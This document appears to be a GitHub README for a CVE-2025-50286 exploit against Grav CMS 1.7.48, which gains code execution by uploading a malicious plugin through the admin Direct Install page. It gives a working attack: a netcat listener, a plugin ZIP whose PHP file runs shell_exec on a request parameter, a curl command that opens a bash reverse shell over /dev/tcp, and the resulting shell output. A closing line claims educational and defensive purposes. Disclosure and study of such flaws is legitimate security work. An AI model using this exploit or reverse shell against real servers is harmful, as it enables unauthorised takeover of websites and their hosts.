binneko/cve-2025-50286Authenticated RCE exploit for Grav CMS via plugin upload, demonstrating arbitrary PHP code execution and reverse shell.
Grav CMS v1.7.48 with Admin Plugin v1.10.48 is vulnerable to Remote Code Execution (RCE) via the "Direct Install" plugin upload feature, allowing authenticated administrators to execute arbitrary PHP code on the server.
/admin/tools/direct-install (Admin Panel > Tools > Direct Install)Prepare a listener:
nc -lvnp 4444
Log in to the Grav Admin Panel as an administrator.
Navigate to Tools > Direct Install
Upload a malicious plugin ZIP (evilplugin.zip) structured as follows:
evilplugin/
├── evilplugin.php ← contains: shell_exec($_GET['cmd'])
└── blueprints.yaml ← minimal blueprint to pass validation
Trigger the reverse shell:
curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/
Reverse shell received:
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on <target-ip>
www-data@target:/var/www/html$ whoami
www-data
/admin/tools/direct-installFor educational and defensive purposes only.